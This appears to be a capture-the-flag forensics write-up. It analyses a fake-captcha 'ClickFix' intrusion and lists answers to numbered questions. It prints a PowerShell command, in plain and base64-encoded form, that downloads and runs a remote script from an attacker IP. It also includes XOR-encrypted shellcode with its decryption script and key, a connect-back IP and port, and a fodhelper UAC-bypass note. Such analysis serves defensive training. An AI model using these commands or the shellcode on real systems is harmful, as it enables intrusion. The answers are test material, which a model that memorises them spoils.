Forensics

Hide and Seek

bash
iwr http://192.168.1.11:7331/y.ps1 -UseBasicParsing | iex

ClickFix

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Q1: What id MITRE ID for initial access? (TXXXX.XXX)

bash
T1566.002

Q2: What link did the victim access? (ASCII)

bash
http://192.168.1.11:7331/captcha.html

Q3: What command does the attacker trick the victim into executing? (ASCII)

bash
PowerShell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA 

Q4: What link to run the script and what file name is it stored in? (http://example.com/script.ext_file.rar)

bash
http://192.168.1.11:7331/y.ps1_kqwer.zip

Q5: What is the MITRE ID of this technique and where does this command store in the registry? (TXXXX_Hive\key)

bash
T1204_HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

python
sc = [0x4CEB8CCA, 0x09013947, 0x6BBD07B5, 0xC1D1EF53, 0x20D16E62, 0x20F0686E, 0xD9850854, 0xA4077A3F, 0x452670C8, 0xA2471463, 0xA16234F9, 0x30DF3F7D, 0x306A20D1, 0x384E28CC, 0x2A0DD9AA, 0x0010A4B3, 0x70EAE946, 0x196EE87F, 0xCFE76733, 0x436616F9, 0x5ECC2E85, 0x63AC38F9, 0xABF7FE8D, 0x01804D69, 0x60934D81, 0x1B58C14B, 0x3AD03F10, 0x665E2AD1, 0x35F90C94, 0x4E15D931, 0x48EFB737, 0xB1B138CC, 0x62124723, 0x106D0738, 0x2ABA9D61, 0x78CC3D25, 0xAD85B99B, 0x575E0FB2, 0x51474C56, 0x3C554B16, 0x112F5162, 0x8AB94D12, 0xF7C2A2A5, 0x10726A46, 0x3A1D06BE, 0x4C0FE41F, 0x320BECB8, 0x389EA30F, 0x4A360E68, 0x94D3C7CB, 0x3A17372A, 0x023A6932, 0xBB39B825, 0xAE92B384, 0x3431280B, 0x12C6A05E, 0xE7E5B555, 0x9870069A, 0xD5076209, 0x524D3592, 0x26640E36, 0x50366F43, 0x66FEBA65, 0xB2B7B39C, 0xF96C1C30, 0x02070D4C, 0x527A2972, 0x0C36381B, 0xDC14E83C, 0x30F4ED9E, 0x3535395C, 0xBB322263, 0xB2852D92, 0x447292C4, 0x52250A52, 0x26646476, 0x33096947, 0xC6066C48, 0x3F5C31B6, 0x8D3B2F5E, 0x951939AF, 0xD7751D7E, 0x9BC9AD3D, 0xC6B8D78D, 0x4AA4399E, 0xA5A24CF0, 0xC085BA8F, 0x347A180C, 0x0100BFB8, 0x00000101]

key = b"6ddLG9a8gc69cf4J0bZrzgGjr9zRMR"

def xor_decrypt_words(words, key_bytes):
	kb_len = len(key_bytes)
	out = bytearray()
	for idx, w in enumerate(words):

		b0 = (w >> 0) & 0xFF
		b1 = (w >> 8) & 0xFF
		b2 = (w >> 16) & 0xFF
		b3 = (w >> 24) & 0xFF

		b0 ^= key_bytes[(4*idx + 0) % kb_len]
		b1 ^= key_bytes[(4*idx + 1) % kb_len]
		b2 ^= key_bytes[(4*idx + 2) % kb_len]
		b3 ^= key_bytes[(4*idx + 3) % kb_len]
		out.extend([b0, b1, b2, b3])
	return bytes(out)

def main():
	decrypted = xor_decrypt_words(sc, key)
	print(decrypted.hex())

if __name__ == "__main__":
	main()

asm
PUSH 0B01A8C0
PUSH A5FB0002

Q7: What is IP and PORT of attacker in injected shellcode?

bash
192.168.1.11:64421

Q8: What process was used to bybass UAC and PPID

bash
fodhelper.exe_5888